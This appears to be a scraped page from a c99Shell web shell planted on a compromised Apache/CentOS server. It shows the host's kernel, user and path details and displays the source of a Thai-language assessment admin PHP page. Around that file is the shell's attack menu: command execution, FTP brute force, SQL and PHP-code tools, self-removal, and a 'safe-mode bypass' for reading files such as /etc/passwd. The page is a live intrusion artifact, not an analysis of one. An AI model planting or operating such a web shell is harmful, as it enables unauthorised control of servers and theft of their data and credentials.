!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/admin/   drwxr-xr-x
Free 52.3 GB of 127.8 GB (40.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     showListAss.php (8.82 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
include_once "template.php";
showHeader();

include_once 
"../../class/clsForm.php";
include_once 
"../class/clsTypeAss.php";
include_once 
"../class/clsAssessForm.php";
include_once 
"../class/clsDefineAssessment.php";
include_once 
"../link/function.php";

?>
<br>
<table  width="740"  align="center">
<tr><td>
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="index.php?mm=1">ข้อมูลพื้นฐานของระบบ</a> 
      <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"> สร้างแบบประเมิน </font>
      </legend>

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<?
$oCA 
= new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

$oF = new clsForm();

if(
$method != "") include_once("processDefineDateAss.php");

$oAF = new AssessForm($oCA);
$oAF->SearchByKey(RSAssessForm);
$oAF->GetRecord();
?>
<form name=formdata method=post action="processShowListAss.php">
  <? //echo "method = ".$method; ?>
  <? //echo "<br> assid = ".$assid; 
     //echo "<br> maintopic =".$maintopic;
?>
  <br>
  <table width="639" align="center">
    <tr > 
      <td width="639" height="27" class="colinput1"> <div align="center"><strong>รายการแบบประเมิน</strong></div></tr>
  </table>
  <!----------------------สร้างส่วนหัวของรายการแบบประเมิน----------------------->  
        <table border="0"  width="639" align="center" cellspacing="1"  cellpadding="2" bgcolor = "silver">
          <tr class="TableHeaderBgColor"> 
            <td  align="center" width="34" height="20">ลำดับ</td>
            <td  align="center" width="437">ชื่อทางการแบบประเมิน</td>
            <td align="center"  colspan="4">ดำเนินการ</td>
          </tr>
          <?
        $i 
0
    
$oAF->RSAssessForm();
    while(
$oAF->GetRecord()){
        
$oDA = new DefineAssessment($oCA);
        
$UseAss $oDA->CountDefineidByAssid($oAF->assid);
        
//echo "<br> assid = ".$oAF->assid;
        //echo "   use = ".$UseAss;


       
if(($i%2) == 0)
            echo 
"<tr bgcolor = \"#FFFFFF\">";
        else
            echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_4"]."\">";  ?>
          <td  align="center"><? echo $i+1?></td>
            <td><a href="displayAss.php?assid=<?php echo $oAF->assid ?>"> 
              <? if($oAF->confirmUse == "0") echo "<img src=\"../picture/lock.gif\" border=\"0\">";  else  echo "<img src=\"../picture/unlock.gif\" border=\"0\">"?>
            </a><a href="displayAss.php?assid=<?php echo $oAF->assid ?>"><? if($oAF->maintopic == ""){ echo $oAF->nameAss." <img src = \"../picture/warn.png\" border = \"0\" alt=\"ยังไม่กำหนด ชื่อทางการแบบประเมิน\">"; }else{ echo $oAF->maintopic; } ?></a></td>
          <td width="15" align="center"><a href="editNameDetail.php?assid=<?echo $oAF->assid ?>&page=listAss"><img src="../picture/edit.gif" alt="แก้ไข"  border="0"></a></td>
          <td width="15" align="center"> 
            <? if($UseAss == 0){ ?>
            <a href="javascript:doDelete(document.form1,'<? echo $oAF->nameAss?>','<? echo $oAF->assid?>','<? echo $UseAss ?>')"><img src="../picture/del.gif" alt="ลบ"  border="0"></a> 
            <? } else { ?>
            <img src="../picture/deled.gif" alt="ลบ" border="0"> 
            <? ?>          </td>
          <td width="15" align="center"><a href="createForm.php?assid=<?echo  $oAF->assid ?>"><img src="../picture/menu.gif" alt="สร้างรายละเีอียดของแบบประเมิน" border="0"></a></td>
          <td width="15" align="center"><input type="checkbox" name="show[<?php echo $i;?>]" value="<?php echo $oAF->assid;?><?php echo ($oAF->show)?'checked':''?>></td>
          </tr>
          <? $i++;
        }  
//end while oAF  
        
if($i == 0){
?>
          <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_5"];?>"> 
            <td align="center" colspan="5"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">** 
              ไม่พบรายการแบบประเมิน **</font></td>
          </tr>
          <?     ?>
          <tr class=TableFooterBgColor> 
            <td colspan="2">&nbsp;</td>
            <td colspan="1"><a href="addNameDetail.php?assid=<?echo $oAF->assid?>"><img src="../picture/new.gif" alt="เพิ่มรายการแบบประเมิน" width="16" height="16"  border="0"></a></td>
          
            <td colspan="3" align="right"><input type="submit" name="submit" value="บันทึก" ></td>
            </tr>
        </table>
        <br>
   <table width="632" align="center">
        <tr>
            <td width="624"><input type="button" name="back2" value="กลับเมนูหลัก" onClick=" location.href = 'index.php?mm=1'"></td>
        </tr>
    </table>
    <input type="hidden" name="cnt" value="<?php echo $i;?>">
</form>
</fieldset><br>
      <table width="730" border="0">
        <tr> 
          <td width="73" height="22"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><b>หมายเหตุ 
            : </b> </font></td>
          <td width="647"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><img src="../picture/new.gif" width="16" height="16"  border="0"> 
            หมายถึง เพิ่มรายการแบบประเมินหรือเริ่มต้นสร้างแบบประเมิน โดยระบุเป็นชื่อแบบประเมินและรายละเอียดแบบประเมิน</font></td>
        </tr>
        <tr> 
          <td height="22">&nbsp;</td>
          <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><img src="../picture/edit.gif" border="0"> 
            หมายถึง แก้ไขรายการแบบประเมินที่ได้ระบุเป็นชื่อแบบประเมินและรายละเอียดแบบประเมิน</font></td>
        </tr>
        <tr> 
          <td height="22">&nbsp;</td>
          <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><img src="../picture/del.gif" alt="" width="16" height="16"  border="0"> 
            หมายถึง ลบรายการแบบประเมินที่สร้างไว้</font></td>
        </tr>
        <tr> 
          <td height="22">&nbsp;</td>
          <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><img src="../picture/deled.gif" alt="" width="16" height="16"  border="0"> 
            หมายถึง ไม่สามารถลบรายการแบบประเมินที่สร้างไว้ได้ เนื่องจากได้ถูกกำหนดใช้ในการประเมินแล้ว</font></td>
        </tr>
        <tr> 
          <td height="22">&nbsp;</td>
          <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><img src="../picture/menu.gif" alt="" width="16" height="16"  border="0"> 
            หมายถึง สร้างรายละเอียดของแบบประเมิน</font></td>
        </tr>
        <tr>
          <td height="22">&nbsp;</td>
          <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><img src="../picture/lock.gif" alt="" width="16" height="16"  border="0"> 
            หมายถึง ยังไม่ได้ยืนยันการสร้างแบบประเมิน</font></td>
        </tr>
        <tr> 
          <td height="22">&nbsp;</td>
          <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><img src="../picture/unlock.gif" alt="" width="16" height="16"  border="0"></a> 
            หมายถึง ยืนยันการสร้างแบบประเมินแล้ว</font></td>
        </tr>
        <tr> 
          <td height="22">&nbsp;</td>
          <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><img src="../picture/warn.png" alt="" width="16" height="16"  border="0"></a> 
            หมายถึง ยังไม่กำหนด ชื่อทางการแบบประเมิน</font></td>
        </tr>
      </table>
    </td> 
  </tr>
  </table>

  <!--------------------------------------------------------------------->
  <? showFooter(); ?>
  <br>
  <!--------------------------------------------------------------------->
  <!--put javascript here-->
  <script language="javascript">
function doDelete(formDelete,txt,assid,UseAss){
    if(UseAss > 0){
            alert('ไม่สามารถลบ '+"'"+ txt +"'"+' เนื่องจากได้กำหนดใช้ในการประเมินแล้ว !');
    }else if (confirm('ต้องการการลบ '+"'"+ txt +"'"+' ใช่หรือไม่ !') ) {
        if (confirm('กรุณายืนยันอีกครั้งว่าต้องการลบ '+"'"+ txt +"'"+' ที่สร้างไว้ทั้งหมด !') ) {
        window.location="processAssForm.php?method=delete&assid="+assid;
        }
    }
}
function doFormSelectAssAdd(i){
        document.formdata.method.value="FormSelect"+i;
        document.formdata.submit();
}

function doFormDefineAss(i,xassid){
        document.formdata.method.value="FormDefine"+i;
        document.formdata.assid.value=xassid;
        document.formdata.submit();
}
function doDefine(i,xassid,xnameAss,xdetailAss,xmaintopic,xexplains,xtypeAss,xstaffid,xselectAss){
//function doDefine(i,xassid,xnameAss,xdetailAss,xmaintopic,xexplains,xtypeAss,xstaffid,xselectAss){
        document.formdata.method.value="edit";
        document.formdata.indexForm.value=i;
        document.formdata.assid.value=xassid;
        document.formdata.nameAss.value=xnameAss;
        document.formdata.detailAss.value=xdetailAss;
        document.formdata.maintopic.value=xmaintopic;
        document.formdata.explains.value=xexplains;
        document.formdata.typeAss.value=xtypeAss;
        document.formdata.staffid.value=xstaffid;
        document.formdata.selectAss.value=xselectAss;
        document.formdata.submit();
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0066 ]--